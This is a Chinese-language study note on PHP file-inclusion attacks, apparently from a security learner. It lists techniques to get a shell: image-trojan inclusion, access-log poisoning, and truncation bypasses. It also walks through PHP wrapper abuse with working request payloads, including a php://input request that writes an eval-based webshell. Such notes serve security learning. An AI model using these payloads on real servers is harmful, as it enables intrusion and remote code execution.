2019-11-12:文件包含基础学习,笔记
文件上传(图片马)+文件包含getshell
先上传一个图片马,需要知道其在服务器中的位置,然后去找一个存在文件包含的地方,将图片马包含起来尝试执行
如果服务器开启日志记录功能,包含日志文件可以getshell,,修改apache的配置文件,将“customlog logs/access.log” common前的注释符号去掉,重启服务,在logs目录下就有accesslog文件
accesslog文件格式
客户端Ip 请求时间 用户请求方式 请求页面 协议类型以及版本 状态码 返回数据长度
127.0.0.1 - - [06/Oct/2019:11:13:22 +0800] "GET /phpmyadmin/ HTTP/1.1" 200 3608
利用accesslog文件getshell
需要知道accesslog文件路径,在web服务网站任意地方访问,url格式 www.xxx.com/<?php phpinfo();?> ,会把脚本记录到日志文件中,访问时候使用BP拦截数据包,将请求头脚本语句重新编码, 避免被浏览器转码,之后利用文件包含执行脚本
利用文件包含可以,获取服务器源代码,需要利用伪协议
共享文件实现有限条件下的远程文件包含
远程文件包含利用条件
allow_url_include 和 allow_url_fopen 需要打开
远程服务器上写好需要的脚本,在目标机器的有文件包含漏洞的页面,请求包含远程利用脚本文件,注意远程脚本要在远程服务器上不能解析保证访问时候没有被转码
有后缀名限制的文件包含
include($_GET['file'].'.php');
使用%00截断:www.xxx.com/file=xx.php%00,要求PHP版本小于5.3
有前缀名限制的文件包含
include('./up/.'.$_GET['file']);
使用跳转:www.xxx.com/file=../../../xxx.php
同时有前后缀限制文件包含
include('up/.'.$_GET['file'].'.php');
需要重点考虑后缀名的绕过,一般使用方法,%00截断,路径长度截断(windows下文件名最长为256,linux文件名长于4096),需要php版本小于5.3
有后缀名限制的远程文件包含绕过
%00截断(php<5.3)
?截断(php<5.4)
#截断(php<5.4)
PHP伪协议
file://访问本地文件系统
http://访问http网址
ftp://访问ftp
zlib://压缩数据流
data://数据(RFC2397)
ssh2:// secure shell 2
expect:// 处理交互式流
glob:// 查找匹配文件路径模式
File协议
当存在某个用户可控制、并得以访问执行的输入点时,我们可以尝试输入file://去获取本地磁盘文件 利用条件:allow_url_fopen和allow_url_include均无要求
使用方法:http://192.168.2.101/include/test.php?a=file:///C:/Users/cream/Desktop/P.mhtml
php input协议伪协议文件包含利用,需要allow_url_include开启就行
url:GET方式 http://127.0.0.1/includ.php?file=php://input POST DATA<?php phpinfo(); ?>
POST方式 http://127.0.0.1/includ.php, POST DATA file=php://input&<?php phpinfo(); ?>
利用php input协议写入一句话脚本
url:GET方式 http://127.0.0.1/includ.php?file=php://input POST DATA<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>");?>
php filter协议
string.tolower/resource 读取文件内容进行转换大小写
string.strip_tags/resource 读取文件取出html和php标记
convert.base64-encode/resource 读取文件进行base64加密
string.rot13/resource 进行rot13读取文件,如果使用rot13编码的方式去读取php文件,需要注意,short_open_tag模块要处于不开启状态,读取之后使用rot13解密即可
<?php phpinfo();?>--ROT13--> <?cuc cucvasb();?> te.php
file=php://filter/string.rot13/resource=te.php (最后直接执行)
如果使用rot13编码的方式去读PHP文件需要注意模块short_open_tag的开关情况,
则该方法仅限于当short_open_tag不开启的时候,读出来之后rot13解密即可!
phar:// 读取压缩包内的文件数据
利用条件 Php >=5.3
读取zip文件
相对路径访问
www.xxx.com/?file=phar://info.zip/info.txt
绝对路径访问
http://127.0.0.1/upload/includ.php?file=phar://D:/phpStudy/PHPTutorial/WWW/upload/1.zip%231.txt
zip:// 读取压缩包内的文件数据
条件:php >=5.3
只能使用绝对路径去访问,并且压缩包后将之前的斜线换成%23
http://127.0.0.1/upload/includ.php?file=zip://D:/phpStudy/PHPTutorial/WWW/upload/1.zip%231.txt
data://
条件 php>=5.2
allow_url_fopen 和 allow_url_include 都需要打开
http://127.0.0.1/upload/includ.php?file=data://text/plain,<?php phpinfo();?>
http://127.0.0.1/upload/includ.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
smb协议,445端口